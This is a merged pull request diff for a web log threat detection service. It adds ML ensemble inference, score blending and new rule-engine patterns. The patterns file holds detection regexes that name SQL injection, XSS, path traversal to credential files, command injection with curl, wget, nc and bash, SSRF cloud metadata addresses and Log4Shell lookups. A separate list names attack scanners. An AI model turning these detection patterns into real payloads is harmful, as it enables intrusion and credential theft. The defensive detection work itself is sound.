Merge pull request #108 from CarterPerez-dev/project/ai-threat-detection

Project/ai threat detection phase 2-4
This commit is contained in:
Carter Perez 2026-02-28 14:19:00 -05:00 committed by GitHub
commit 65e85fce39
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
430 changed files with 18825 additions and 1385 deletions

View File

@ -13,6 +13,7 @@ API_KEY=changeme-generate-a-real-key
POSTGRES_HOST_PORT=16969
REDIS_HOST_PORT=26969
BACKEND_HOST_PORT=36969
FRONTEND_HOST_PORT=46969
# PostgreSQL
POSTGRES_DB=angelusvigil

View File

@ -1,7 +1,7 @@
# ©AngelaMos | 2026
# .gitignore
# Planning docs
# dev docs
.angelusvigil/
# Environment

View File

@ -17,4 +17,3 @@ async def get_session(request: Request) -> AsyncIterator[AsyncSession]:
factory = request.app.state.session_factory
async with factory() as session:
yield session
await session.commit()

View File

@ -0,0 +1,42 @@
"""
©AngelaMos | 2026
ingest.py
"""
import asyncio
from fastapi import APIRouter, Request
from pydantic import BaseModel
router = APIRouter(prefix="/ingest", tags=["ingest"])
class BatchIngestRequest(BaseModel):
"""
Payload for bulk log line ingestion
"""
lines: list[str]
@router.post("/batch", status_code=200)
async def ingest_batch(
body: BatchIngestRequest,
request: Request,
) -> dict[str, int]:
"""
Push a batch of raw log lines into the pipeline queue
"""
pipeline = getattr(request.app.state, "pipeline", None)
if pipeline is None:
return {"queued": 0}
queued = 0
for line in body.lines:
try:
pipeline.raw_queue.put_nowait(line)
queued += 1
except asyncio.QueueFull:
break
return {"queued": queued}

View File

@ -5,30 +5,60 @@ models_api.py
import uuid
from fastapi import APIRouter
from fastapi import APIRouter, Request
from sqlalchemy import select
from sqlalchemy.ext.asyncio import AsyncSession
from app.models.model_metadata import ModelMetadata
router = APIRouter(prefix="/models", tags=["models"])
@router.get("/status")
async def model_status() -> dict[str, object]:
async def model_status(request: Request, ) -> dict[str, object]:
"""
Return the status of active ML models.
Return the status of active ML models
"""
models_loaded = getattr(request.app.state, "models_loaded", False)
detection_mode = getattr(request.app.state, "detection_mode", "rules")
active_models: list[dict[str, object]] = []
session_factory = getattr(request.app.state, "session_factory", None)
if session_factory is not None:
async with session_factory() as session:
active_models = await _get_active_models(session)
return {
"active_models": [],
"detection_mode": "rules-only",
"note": "ML models available after Phase 2 training",
"models_loaded": models_loaded,
"detection_mode": detection_mode,
"active_models": active_models,
}
@router.post("/retrain", status_code=202)
async def retrain() -> dict[str, object]:
"""
Trigger an async model retraining job.
Trigger an async model retraining job
"""
return {
"status": "accepted",
"job_id": uuid.uuid4().hex,
"note": "Retraining not available in Phase 1",
}
async def _get_active_models(
session: AsyncSession, ) -> list[dict[str, object]]:
"""
Query all active model metadata records
"""
query = select(ModelMetadata).where(
ModelMetadata.is_active == True # type: ignore[arg-type] # noqa: E712
)
rows = (await session.execute(query)).scalars().all()
return [{
"model_type": row.model_type,
"version": row.version,
"training_samples": row.training_samples,
"metrics": row.metrics,
"threshold": row.threshold,
} for row in rows]

View File

@ -15,8 +15,8 @@ router = APIRouter(prefix="/stats", tags=["stats"])
@router.get("", response_model=StatsResponse)
async def get_stats(
session: AsyncSession = Depends(get_session),
time_range: str = Query("24h", alias="range"),
session: AsyncSession = Depends(get_session),
time_range: str = Query("24h", alias="range"),
) -> StatsResponse:
"""
Aggregate threat statistics for a given time window.

View File

@ -18,13 +18,13 @@ router = APIRouter(prefix="/threats", tags=["threats"])
@router.get("", response_model=ThreatListResponse)
async def list_threats(
session: AsyncSession = Depends(get_session),
limit: int = Query(50, ge=1, le=100),
offset: int = Query(0, ge=0),
severity: str | None = Query(None),
source_ip: str | None = Query(None),
since: datetime | None = Query(None),
until: datetime | None = Query(None),
session: AsyncSession = Depends(get_session),
limit: int = Query(50, ge=1, le=100),
offset: int = Query(0, ge=0),
severity: str | None = Query(None),
source_ip: str | None = Query(None),
since: datetime | None = Query(None),
until: datetime | None = Query(None),
) -> ThreatListResponse:
"""
List threat events with optional filters and pagination.
@ -42,8 +42,8 @@ async def list_threats(
@router.get("/{threat_id}", response_model=ThreatEventResponse)
async def get_threat(
threat_id: uuid.UUID,
session: AsyncSession = Depends(get_session),
threat_id: uuid.UUID,
session: AsyncSession = Depends(get_session),
) -> ThreatEventResponse:
"""
Fetch a single threat event by ID.

View File

@ -6,9 +6,13 @@ dispatcher.py
import logging
import redis.asyncio as aioredis
from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker
from sqlalchemy.ext.asyncio import (
AsyncSession,
async_sessionmaker,
)
from app.core.alerts import ALERTS_CHANNEL
from app.core.detection.ensemble import classify_severity
from app.core.ingestion.pipeline import ScoredRequest
from app.schemas.websocket import WebSocketAlert
from app.services.threat_service import create_threat_event
@ -18,11 +22,12 @@ logger = logging.getLogger(__name__)
class AlertDispatcher:
"""
Routes scored threat events to storage, pub/sub, and structured logging.
Routes scored threat events to storage, pub/sub,
and structured logging
MEDIUM+ severity events are persisted to PostgreSQL and published
to the Redis alerts channel for WebSocket relay.
All events are logged to stdout.
MEDIUM+ severity events are persisted to PostgreSQL
and published to the Redis alerts channel for
WebSocket relay. All events are logged to stdout.
"""
def __init__(
@ -35,39 +40,49 @@ class AlertDispatcher:
async def dispatch(self, scored: ScoredRequest) -> None:
"""
Handle a scored request from the pipeline's dispatch stage.
Handle a scored request from the pipeline's
dispatch stage
"""
severity = classify_severity(scored.final_score)
logger.info(
"threat_event severity=%s score=%.2f ip=%s path=%s rules=%s",
scored.rule_result.severity,
scored.rule_result.threat_score,
"threat_event severity=%s score=%.2f mode=%s ip=%s path=%s rules=%s",
severity,
scored.final_score,
scored.detection_mode,
scored.entry.ip,
scored.entry.path,
scored.rule_result.matched_rules,
)
if scored.rule_result.severity in ("HIGH", "MEDIUM"):
if severity in ("HIGH", "MEDIUM"):
await self._store_event(scored)
await self._publish_alert(scored)
await self._publish_alert(scored, severity)
async def _store_event(self, scored: ScoredRequest) -> None:
"""
Persist the scored request as a threat event in PostgreSQL.
Persist the scored request as a threat event
in PostgreSQL
"""
async with self._session_factory() as session:
await create_threat_event(session, scored)
await session.commit()
async def _publish_alert(self, scored: ScoredRequest) -> None:
async def _publish_alert(
self,
scored: ScoredRequest,
severity: str,
) -> None:
"""
Publish a real-time alert to the Redis pub/sub channel.
Publish a real-time alert to the Redis pub/sub
channel
"""
alert = WebSocketAlert(
timestamp=scored.entry.timestamp,
source_ip=scored.entry.ip,
request_path=scored.entry.path,
threat_score=scored.rule_result.threat_score,
severity=scored.rule_result.severity,
threat_score=scored.final_score,
severity=severity,
component_scores=scored.rule_result.component_scores,
)
await self._redis.publish(ALERTS_CHANNEL, alert.model_dump_json())

View File

@ -0,0 +1,66 @@
"""
©AngelaMos | 2026
ensemble.py
"""
def normalize_ae_score(error: float, threshold: float) -> float:
"""
Normalize autoencoder reconstruction error to [0, 1]
"""
if threshold <= 0:
return 0.0
return min(error / (threshold * 2), 1.0)
def normalize_if_score(raw_score: float) -> float:
"""
Normalize isolation forest score to [0, 1]
sklearn IF returns negative scores for anomalies,
positive for normal samples
"""
return (1 - raw_score) / 2.0
def fuse_scores(
scores: dict[str, float],
weights: dict[str, float],
) -> float:
"""
Weighted average of per-model normalized scores
"""
total = 0.0
weight_sum = 0.0
for key, weight in weights.items():
if key in scores:
total += scores[key] * weight
weight_sum += weight
if weight_sum == 0:
return 0.0
return total / weight_sum
def blend_scores(
ml_score: float,
rule_score: float,
ml_weight: float = 0.7,
) -> float:
"""
Blend ML ensemble score with rule engine score
"""
return min(
ml_score * ml_weight + rule_score * (1.0 - ml_weight),
1.0,
)
def classify_severity(score: float) -> str:
"""
Map a unified threat score to a severity label
"""
if score >= 0.7:
return "HIGH"
if score >= 0.5:
return "MEDIUM"
return "LOW"

View File

@ -0,0 +1,154 @@
"""
©AngelaMos | 2026
inference.py
"""
import json
import logging
from pathlib import Path
from typing import Any
import numpy as np
try:
import onnxruntime as ort
except ImportError:
ort = None
logger = logging.getLogger(__name__)
AE_FILENAME = "ae.onnx"
RF_FILENAME = "rf.onnx"
IF_FILENAME = "if.onnx"
SCALER_FILENAME = "scaler.json"
THRESHOLD_FILENAME = "threshold.json"
class InferenceEngine:
"""
ONNX-based inference engine for the 3-model ML ensemble.
Loads autoencoder, random forest, and isolation forest ONNX sessions
from a model directory. Returns None for predictions when models
are not available.
"""
def __init__(self, model_dir: str) -> None:
self._ae_session: ort.InferenceSession | None = None
self._rf_session: ort.InferenceSession | None = None
self._if_session: ort.InferenceSession | None = None
self._scaler_center: np.ndarray | None = None
self._scaler_scale: np.ndarray | None = None
self._threshold: float = 0.0
self._loaded = False
if ort is None:
logger.warning("onnxruntime not installed")
return
model_path = Path(model_dir)
ae_path = model_path / AE_FILENAME
rf_path = model_path / RF_FILENAME
if_path = model_path / IF_FILENAME
scaler_path = model_path / SCALER_FILENAME
threshold_path = model_path / THRESHOLD_FILENAME
required = [ae_path, rf_path, if_path, scaler_path, threshold_path]
if not all(p.exists() for p in required):
return
try:
opts = ort.SessionOptions()
opts.inter_op_num_threads = 1
opts.intra_op_num_threads = 1
self._ae_session = ort.InferenceSession(str(ae_path), opts)
self._rf_session = ort.InferenceSession(str(rf_path), opts)
self._if_session = ort.InferenceSession(str(if_path), opts)
scaler_data = json.loads(scaler_path.read_text())
self._scaler_center = np.array(scaler_data["center"],
dtype=np.float32)
self._scaler_scale = np.array(scaler_data["scale"],
dtype=np.float32)
threshold_data = json.loads(threshold_path.read_text())
self._threshold = float(threshold_data["threshold"])
self._loaded = True
logger.info("Loaded 3 ONNX models from %s", model_dir)
except Exception:
logger.exception("Failed to load ONNX models from %s", model_dir)
@property
def is_loaded(self) -> bool:
"""
Whether all 3 models are loaded and ready for inference
"""
return self._loaded
@property
def threshold(self) -> float:
"""
Autoencoder anomaly detection threshold
"""
return self._threshold
def predict(self, batch: np.ndarray) -> dict[str, list[float]] | None:
"""
Run all 3 models on a batch of feature vectors.
Returns per-model raw scores for ensemble fusion, or None
if models are not loaded.
"""
if not self._loaded:
return None
ae_input = self._scale_for_ae(batch)
ae_reconstructed = self._ae_session.run( # type: ignore[union-attr]
None, {"features": ae_input})[0]
ae_errors = np.mean((ae_input - ae_reconstructed)**2, axis=1)
rf_result = self._rf_session.run( # type: ignore[union-attr]
None, {"features": batch})
rf_proba = self._extract_rf_proba(rf_result[1])
if_scores_raw = self._if_session.run( # type: ignore[union-attr]
None, {"features": batch})[1].flatten()
return {
"ae": ae_errors.tolist(),
"rf": rf_proba.tolist(),
"if": if_scores_raw.tolist(),
}
def _scale_for_ae(self, batch: np.ndarray) -> np.ndarray:
"""
Apply RobustScaler transform for autoencoder input
"""
if self._scaler_center is None or self._scaler_scale is None:
return batch
return (batch - self._scaler_center) / self._scaler_scale # type: ignore[no-any-return]
@staticmethod
def _extract_rf_proba(
ort_output: list[Any] | np.ndarray
) -> np.ndarray:
"""
Extract attack probability from skl2onnx RF output format.
skl2onnx outputs a list of dicts [{0: p0, 1: p1}, ...] for
probability output.
"""
if isinstance(ort_output, np.ndarray):
if ort_output.ndim == 2 and ort_output.shape[1] >= 2:
return ort_output[:, 1].astype(np.float32)
return ort_output.flatten().astype(np.float32)
proba = []
for row in ort_output:
if isinstance(row, dict):
proba.append(float(row.get(1, 0.0)))
else:
proba.append(float(row))
return np.array(proba, dtype=np.float32)

View File

@ -11,8 +11,10 @@ from app.core.features.patterns import (
COMMAND_INJECTION,
DOUBLE_ENCODED,
FILE_INCLUSION,
LOG4SHELL,
PATH_TRAVERSAL,
SQLI,
SSRF,
XSS,
)
from app.core.features.signatures import SCANNER_USER_AGENTS
@ -41,10 +43,12 @@ class _ThresholdRule(NamedTuple):
_PATTERN_RULES: list[_PatternRule] = [
_PatternRule("LOG4SHELL", LOG4SHELL, 0.95),
_PatternRule("COMMAND_INJECTION", COMMAND_INJECTION, 0.90),
_PatternRule("SQL_INJECTION", SQLI, 0.85),
_PatternRule("XSS", XSS, 0.80),
_PatternRule("FILE_INCLUSION", FILE_INCLUSION, 0.75),
_PatternRule("SSRF", SSRF, 0.70),
_PatternRule("PATH_TRAVERSAL", PATH_TRAVERSAL, 0.60),
]

View File

@ -40,7 +40,8 @@ class GeoIPService:
self._reader = geoip2.database.Reader(db_path)
logger.info("GeoIP database loaded from %s", db_path)
else:
logger.warning("GeoIP database not found at %s — lookups disabled", db_path)
logger.warning("GeoIP database not found at %s — lookups disabled",
db_path)
async def lookup(self, ip: str) -> GeoResult | None:
"""

View File

@ -91,7 +91,7 @@ class WindowAggregator:
results = await pipe.execute()
read_start = 14
read_start = len(keys) * 2
req_count_1m = results[read_start]
req_count_5m = results[read_start + 1]
req_count_10m = results[read_start + 2]
@ -171,21 +171,21 @@ def _path_depth_variance(depth_members: list[str]) -> float:
return 0.0
depths = [int(m.split(":")[0]) for m in depth_members]
mean = sum(depths) / len(depths)
return sum((d - mean) ** 2 for d in depths) / len(depths)
return sum((d - mean)**2 for d in depths) / len(depths)
def _inter_request_time_stats(
entries: list[tuple[str, float]],
) -> tuple[float, float]:
entries: list[tuple[str, float]], ) -> tuple[float, float]:
"""
Mean and standard deviation of inter-request intervals in milliseconds.
"""
if len(entries) < 2:
return 0.0, 0.0
timestamps = sorted(score for _, score in entries)
deltas = [(timestamps[i + 1] - timestamps[i]) * 1000 for i in range(len(timestamps) - 1)]
deltas = [(timestamps[i + 1] - timestamps[i]) * 1000
for i in range(len(timestamps) - 1)]
mean = sum(deltas) / len(deltas)
if len(deltas) < 2:
return mean, 0.0
variance = sum((d - mean) ** 2 for d in deltas) / len(deltas)
variance = sum((d - mean)**2 for d in deltas) / len(deltas)
return mean, math.sqrt(variance)

View File

@ -20,8 +20,7 @@ def _encode_country(code: str) -> float:
def encode_for_inference(
features: dict[str, int | float | bool | str],
) -> list[float]:
features: dict[str, int | float | bool | str], ) -> list[float]:
"""
Encode a combined feature dict into a 35-element float vector
matching the model input specification.

View File

@ -56,27 +56,50 @@ def extract_request_features(
_, ext = splitext(entry.path)
return {
"http_method": entry.method,
"path_depth": len([s for s in entry.path.split("/") if s]),
"path_entropy": _shannon_entropy(entry.path),
"path_length": path_len,
"query_string_length": len(entry.query_string),
"query_param_count": (len(entry.query_string.split("&")) if entry.query_string else 0),
"has_encoded_chars": bool(ENCODED_CHARS.search(full_uri)),
"has_double_encoding": bool(DOUBLE_ENCODED.search(full_uri)),
"status_code": entry.status_code,
"status_class": f"{entry.status_code // 100}xx",
"response_size": entry.response_size,
"hour_of_day": entry.timestamp.hour,
"day_of_week": entry.timestamp.weekday(),
"is_weekend": entry.timestamp.weekday() >= 5,
"ua_length": len(entry.user_agent),
"ua_entropy": _shannon_entropy(entry.user_agent),
"is_known_bot": any(sig in ua_lower for sig in BOT_USER_AGENTS),
"is_known_scanner": any(sig in ua_lower for sig in SCANNER_USER_AGENTS),
"has_attack_pattern": bool(ATTACK_COMBINED.search(full_uri)),
"special_char_ratio": non_alnum / path_len if path_len else 0.0,
"file_extension": ext,
"country_code": country_code,
"is_private_ip": _is_private_ip(entry.ip),
"http_method":
entry.method,
"path_depth":
len([s for s in entry.path.split("/") if s]),
"path_entropy":
_shannon_entropy(entry.path),
"path_length":
path_len,
"query_string_length":
len(entry.query_string),
"query_param_count":
(len(entry.query_string.split("&")) if entry.query_string else 0),
"has_encoded_chars":
bool(ENCODED_CHARS.search(full_uri)),
"has_double_encoding":
bool(DOUBLE_ENCODED.search(full_uri)),
"status_code":
entry.status_code,
"status_class":
f"{entry.status_code // 100}xx",
"response_size":
entry.response_size,
"hour_of_day":
entry.timestamp.hour,
"day_of_week":
entry.timestamp.weekday(),
"is_weekend":
entry.timestamp.weekday() >= 5,
"ua_length":
len(entry.user_agent),
"ua_entropy":
_shannon_entropy(entry.user_agent),
"is_known_bot":
any(sig in ua_lower for sig in BOT_USER_AGENTS),
"is_known_scanner":
any(sig in ua_lower for sig in SCANNER_USER_AGENTS),
"has_attack_pattern":
bool(ATTACK_COMBINED.search(full_uri)),
"special_char_ratio":
non_alnum / path_len if path_len else 0.0,
"file_extension":
ext,
"country_code":
country_code,
"is_private_ip":
_is_private_ip(entry.ip),
}

View File

@ -93,14 +93,14 @@ CATEGORICAL_ENCODERS: dict[str, dict[str, int]] = {
"file_extension": EXTENSION_MAP,
}
BOOLEAN_FEATURES: frozenset[str] = frozenset(
{
"has_encoded_chars",
"has_double_encoding",
"is_weekend",
"is_known_bot",
"is_known_scanner",
"has_attack_pattern",
"is_private_ip",
}
)
WINDOWED_FEATURE_NAMES: list[str] = FEATURE_ORDER[23:]
BOOLEAN_FEATURES: frozenset[str] = frozenset({
"has_encoded_chars",
"has_double_encoding",
"is_weekend",
"is_known_bot",
"is_known_scanner",
"has_attack_pattern",
"is_private_ip",
})

View File

@ -8,27 +8,25 @@ import re
ENCODED_CHARS = re.compile(r"%[0-9a-fA-F]{2}")
DOUBLE_ENCODED = re.compile(r"%25[0-9a-fA-F]{2}")
_SQLI = (
r"(?:union\s+(?:all\s+)?select|"
r"'\s*or\s+.+=|"
r"'\s*and\s+.+=|"
r"1\s*=\s*1|"
r"sleep\s*\(|"
r"benchmark\s*\(|"
r"waitfor\s+delay|"
r"extractvalue\s*\(|"
r"updatexml\s*\(|"
r"load_file\s*\(|"
r"into\s+(?:out|dump)file|"
r"group\s+by\s+.+having|"
r"order\s+by\s+\d+|"
r"(?:drop|alter|create)\s+table|"
r"information_schema|"
r"(?:char|concat|hex|unhex)\s*\(|"
r"0x[0-9a-f]{6,}|"
r"--\s*$|"
r"/\*.*?\*/)"
)
_SQLI = (r"(?:union\s+(?:all\s+)?select|"
r"'\s*or\s+.+=|"
r"'\s*and\s+.+=|"
r"1\s*=\s*1|"
r"sleep\s*\(|"
r"benchmark\s*\(|"
r"waitfor\s+delay|"
r"extractvalue\s*\(|"
r"updatexml\s*\(|"
r"load_file\s*\(|"
r"into\s+(?:out|dump)file|"
r"group\s+by\s+.+having|"
r"order\s+by\s+\d+|"
r"(?:drop|alter|create)\s+table|"
r"information_schema|"
r"(?:char|concat|hex|unhex)\s*\(|"
r"0x[0-9a-f]{6,}|"
r"--\s*$|"
r"/\*.*?\*/)")
_XSS = (
r"(?:<\s*script|"
@ -45,23 +43,20 @@ _XSS = (
r"prompt\s*\(|"
r"confirm\s*\(|"
r"expression\s*\(|"
r"String\s*\.\s*fromCharCode)"
)
r"String\s*\.\s*fromCharCode)")
_PATH_TRAVERSAL = (
r"(?:\.\./|"
r"\.\.\\|"
r"%2e%2e[%/\\]|"
r"%252e%252e|"
r"(?:etc/(?:passwd|shadow|hosts)|"
r"proc/self/|"
r"windows/system32|"
r"boot\.ini|"
r"web\.config|"
r"\.env|"
r"\.git/config|"
r"wp-config\.php))"
)
_PATH_TRAVERSAL = (r"(?:\.\./|"
r"\.\.\\|"
r"%2e%2e[%/\\]|"
r"%252e%252e|"
r"(?:etc/(?:passwd|shadow|hosts)|"
r"proc/self/|"
r"windows/system32|"
r"boot\.ini|"
r"web\.config|"
r"\.env|"
r"\.git/config|"
r"wp-config\.php))")
_COMMAND_INJECTION = (
r"(?:;\s*(?:ls|cat|rm|wget|curl|chmod|chown|nc|bash|sh|python|perl|ruby|php)\b|"
@ -70,27 +65,42 @@ _COMMAND_INJECTION = (
r"`[^`]+`|"
r"\$\{|"
r">\s*/(?:etc|tmp|var)|"
r"&&\s*(?:cat|ls|id|whoami|wget|curl)\b)"
r"&&\s*(?:cat|ls|id|whoami|wget|curl)\b)")
_FILE_INCLUSION = (r"(?:php://|"
r"file://|"
r"data://|"
r"expect://|"
r"input://|"
r"zip://|"
r"phar://|"
r"glob://)")
_SSRF = (
r"(?:169\.254\.169\.254|"
r"metadata\.google\.internal|"
r"169\.254\.170\.2|"
r"100\.100\.100\.200|"
r"(?:localhost|127\.0\.0\.1|0\.0\.0\.0)(?::\d+)?/(?!$)|"
r"file:///(?:etc|proc|sys)|"
r"dict://|"
r"gopher://)"
)
_FILE_INCLUSION = (
r"(?:php://|"
r"file://|"
r"data://|"
r"expect://|"
r"input://|"
r"zip://|"
r"phar://|"
r"glob://)"
)
_LOG4SHELL = r"(?:\$\{(?:j(?:ndi|ava)|lower|upper|:-|:\+|#))"
SQLI = re.compile(_SQLI, re.IGNORECASE)
XSS = re.compile(_XSS, re.IGNORECASE)
PATH_TRAVERSAL = re.compile(_PATH_TRAVERSAL, re.IGNORECASE)
COMMAND_INJECTION = re.compile(_COMMAND_INJECTION, re.IGNORECASE)
FILE_INCLUSION = re.compile(_FILE_INCLUSION, re.IGNORECASE)
SSRF = re.compile(_SSRF, re.IGNORECASE)
LOG4SHELL = re.compile(_LOG4SHELL, re.IGNORECASE)
ATTACK_COMBINED = re.compile(
r"|".join((_SQLI, _XSS, _PATH_TRAVERSAL, _COMMAND_INJECTION, _FILE_INCLUSION)),
r"|".join((
_SQLI, _XSS, _PATH_TRAVERSAL, _COMMAND_INJECTION,
_FILE_INCLUSION, _SSRF, _LOG4SHELL,
)),
re.IGNORECASE,
)

View File

@ -3,87 +3,83 @@
signatures.py
"""
BOT_USER_AGENTS: frozenset[str] = frozenset(
{
"googlebot",
"bingbot",
"slurp",
"duckduckbot",
"baiduspider",
"yandexbot",
"sogou",
"facebot",
"ia_archiver",
"applebot",
"petalbot",
"semrushbot",
"ahrefsbot",
"mj12bot",
"dotbot",
"rogerbot",
"linkedinbot",
"twitterbot",
"gptbot",
"claudebot",
"amazonbot",
"bytespider",
"ccbot",
"dataforseo",
"seznambot",
"megaindex",
"blexbot",
"exabot",
"archive.org_bot",
"mojeekbot",
"uptimerobot",
"deadlinkchecker",
"sitebulb",
"screaming frog",
}
)
BOT_USER_AGENTS: frozenset[str] = frozenset({
"googlebot",
"bingbot",
"slurp",
"duckduckbot",
"baiduspider",
"yandexbot",
"sogou",
"facebot",
"ia_archiver",
"applebot",
"petalbot",
"semrushbot",
"ahrefsbot",
"mj12bot",
"dotbot",
"rogerbot",
"linkedinbot",
"twitterbot",
"gptbot",
"claudebot",
"amazonbot",
"bytespider",
"ccbot",
"dataforseo",
"seznambot",
"megaindex",
"blexbot",
"exabot",
"archive.org_bot",
"mojeekbot",
"uptimerobot",
"deadlinkchecker",
"sitebulb",
"screaming frog",
})
SCANNER_USER_AGENTS: frozenset[str] = frozenset(
{
"nikto",
"sqlmap",
"nessus",
"openvas",
"acunetix",
"w3af",
"nmap",
"masscan",
"zgrab",
"gobuster",
"dirbuster",
"dirb",
"wfuzz",
"ffuf",
"nuclei",
"burp",
"zap",
"arachni",
"skipfish",
"wpscan",
"joomscan",
"whatweb",
"httprint",
"fierce",
"subfinder",
"amass",
"httpx",
"jaeles",
"xray",
"gau",
"hakrawler",
"katana",
"cariddi",
"gospider",
"feroxbuster",
"rustbuster",
"patator",
"hydra",
"medusa",
"metasploit",
"cobalt",
}
)
SCANNER_USER_AGENTS: frozenset[str] = frozenset({
"nikto",
"sqlmap",
"nessus",
"openvas",
"acunetix",
"w3af",
"nmap",
"masscan",
"zgrab",
"gobuster",
"dirbuster",
"dirb",
"wfuzz",
"ffuf",
"nuclei",
"burp",
"zap",
"arachni",
"skipfish",
"wpscan",
"joomscan",
"whatweb",
"httprint",
"fierce",
"subfinder",
"amass",
"httpx",
"jaeles",
"xray",
"gau",
"hakrawler",
"katana",
"cariddi",
"gospider",
"feroxbuster",
"rustbuster",
"patator",
"hydra",
"medusa",
"metasploit",
"cobalt",
})

View File

@ -28,15 +28,13 @@ class ParsedLogEntry:
_TIMESTAMP_FMT = "%d/%b/%Y:%H:%M:%S %z"
_COMBINED_RE = re.compile(
r"(?P<ip>\S+) \S+ \S+ "
r"\[(?P<timestamp>[^\]]+)\] "
r'"(?P<request>[^"]*)" '
r"(?P<status>\d{3}) "
r"(?P<size>\S+) "
r'"(?P<referer>[^"]*)" '
r'"(?P<user_agent>[^"]*)"'
)
_COMBINED_RE = re.compile(r"(?P<ip>\S+) \S+ \S+ "
r"\[(?P<timestamp>[^\]]+)\] "
r'"(?P<request>[^"]*)" '
r"(?P<status>\d{3}) "
r"(?P<size>\S+) "
r'"(?P<referer>[^"]*)" '
r'"(?P<user_agent>[^"]*)"')
def parse_combined(line: str) -> ParsedLogEntry | None:
@ -72,7 +70,8 @@ def _parse_split(line: str) -> ParsedLogEntry | None:
bracket_open = prefix.index("[")
bracket_close = prefix.index("]")
ip = prefix[:bracket_open].split()[0]
timestamp = datetime.strptime(prefix[bracket_open + 1 : bracket_close], _TIMESTAMP_FMT)
timestamp = datetime.strptime(prefix[bracket_open + 1:bracket_close],
_TIMESTAMP_FMT)
request_parts = request_line.split(" ", 2)
method = request_parts[0]

View File

@ -8,9 +8,16 @@ import logging
import uuid
from collections.abc import Awaitable, Callable
from dataclasses import dataclass
from typing import TYPE_CHECKING
import redis.asyncio as aioredis
from app.core.detection.ensemble import (
blend_scores,
fuse_scores,
normalize_ae_score,
normalize_if_score,
)
from app.core.detection.rules import RuleEngine, RuleResult
from app.core.enrichment.geoip import GeoIPService, GeoResult
from app.core.features.aggregator import WindowAggregator
@ -18,13 +25,27 @@ from app.core.features.encoder import encode_for_inference
from app.core.features.extractor import extract_request_features
from app.core.ingestion.parsers import ParsedLogEntry, parse_combined
try:
import numpy as np
except ImportError:
np = None # type: ignore[assignment]
if TYPE_CHECKING:
from app.core.detection.inference import InferenceEngine
logger = logging.getLogger(__name__)
DEFAULT_ENSEMBLE_WEIGHTS: dict[str, float] = {
"ae": 0.40,
"rf": 0.40,
"if": 0.20,
}
@dataclass(slots=True)
class EnrichedRequest:
"""
A parsed log entry enriched with extracted features and GeoIP data.
A parsed log entry enriched with extracted features and GeoIP data
"""
entry: ParsedLogEntry
@ -36,7 +57,7 @@ class EnrichedRequest:
@dataclass(slots=True)
class ScoredRequest:
"""
A fully scored request ready for dispatch.
A fully scored request ready for dispatch
"""
entry: ParsedLogEntry
@ -44,16 +65,18 @@ class ScoredRequest:
feature_vector: list[float]
geo: GeoResult | None
rule_result: RuleResult
final_score: float = 0.0
detection_mode: str = "rules"
class Pipeline:
"""
Four-stage async pipeline that transforms raw log lines
into scored threat candidates.
into scored threat candidates
Stages:
raw_queue [parse] parsed_queue [enrich+features]
feature_queue [detect] alert_queue [dispatch]
raw_queue -> [parse] -> parsed_queue -> [enrich+features]
-> feature_queue -> [detect] -> alert_queue -> [dispatch]
"""
def __init__(
@ -61,34 +84,36 @@ class Pipeline:
redis_client: aioredis.Redis[bytes],
rule_engine: RuleEngine,
geoip: GeoIPService | None = None,
on_result: Callable[[ScoredRequest], Awaitable[None]] | None = None,
on_result: (Callable[[ScoredRequest], Awaitable[None]] | None) = None,
inference_engine: InferenceEngine | None = None,
ensemble_weights: dict[str, float] | None = None,
raw_queue_size: int = 1000,
parsed_queue_size: int = 500,
feature_queue_size: int = 200,
alert_queue_size: int = 100,
) -> None:
self.raw_queue: asyncio.Queue[str | None] = asyncio.Queue(
maxsize=raw_queue_size,
)
self._parsed_queue: asyncio.Queue[ParsedLogEntry | None] = asyncio.Queue(
maxsize=parsed_queue_size,
)
self._feature_queue: asyncio.Queue[EnrichedRequest | None] = asyncio.Queue(
maxsize=feature_queue_size,
)
maxsize=raw_queue_size)
self._parsed_queue: asyncio.Queue[ParsedLogEntry
| None] = asyncio.Queue(
maxsize=parsed_queue_size)
self._feature_queue: asyncio.Queue[EnrichedRequest
| None] = asyncio.Queue(
maxsize=feature_queue_size)
self._alert_queue: asyncio.Queue[ScoredRequest | None] = asyncio.Queue(
maxsize=alert_queue_size,
)
maxsize=alert_queue_size)
self._aggregator = WindowAggregator(redis_client)
self._rule_engine = rule_engine
self._geoip = geoip
self._on_result = on_result
self._inference_engine = inference_engine
self._ensemble_weights = ensemble_weights or DEFAULT_ENSEMBLE_WEIGHTS
self._tasks: list[asyncio.Task[None]] = []
async def start(self) -> None:
"""
Spawn worker tasks for each pipeline stage.
Spawn worker tasks for each pipeline stage
"""
self._tasks = [
asyncio.create_task(self._parse_worker(), name="parse"),
@ -100,7 +125,8 @@ class Pipeline:
async def stop(self) -> None:
"""
Send a poison pill through the chain and wait for all workers to exit.
Send a poison pill through the chain and wait
for all workers to exit
"""
await self.raw_queue.put(None)
await asyncio.gather(*self._tasks)
@ -108,7 +134,7 @@ class Pipeline:
async def _parse_worker(self) -> None:
"""
Stage 1: Parse raw log lines into structured entries.
Stage 1: Parse raw log lines into structured entries
"""
while True:
line = await self.raw_queue.get()
@ -126,8 +152,9 @@ class Pipeline:
async def _feature_worker(self) -> None:
"""
Stage 2: Enrich with GeoIP, extract per-request features,
aggregate per-IP windowed features, and encode the 35-dim vector.
Stage 2: Enrich with GeoIP, extract per-request
features, aggregate per-IP windowed features,
and encode the 35-dim vector
"""
while True:
entry = await self._parsed_queue.get()
@ -166,15 +193,18 @@ class Pipeline:
features=merged,
feature_vector=vector,
geo=geo,
)
)
))
except Exception:
logger.exception("Feature extraction failed for %s", entry.ip)
logger.exception(
"Feature extraction failed for %s",
entry.ip,
)
self._parsed_queue.task_done()
async def _detection_worker(self) -> None:
"""
Stage 3: Score enriched requests using the rule engine.
Stage 3: Score enriched requests using the rule
engine, optionally enhanced with ML ensemble
"""
while True:
enriched = await self._feature_queue.get()
@ -187,6 +217,25 @@ class Pipeline:
enriched.features,
enriched.entry,
)
final_score = rule_result.threat_score
detection_mode = "rules"
if (self._inference_engine is not None
and self._inference_engine.is_loaded
and np is not None):
ml_scores = self._score_with_ml(enriched.feature_vector)
if ml_scores is not None:
ml_fused = fuse_scores(
ml_scores,
self._ensemble_weights,
)
final_score = blend_scores(
ml_fused,
rule_result.threat_score,
)
detection_mode = "hybrid"
await self._alert_queue.put(
ScoredRequest(
entry=enriched.entry,
@ -194,15 +243,40 @@ class Pipeline:
feature_vector=enriched.feature_vector,
geo=enriched.geo,
rule_result=rule_result,
)
)
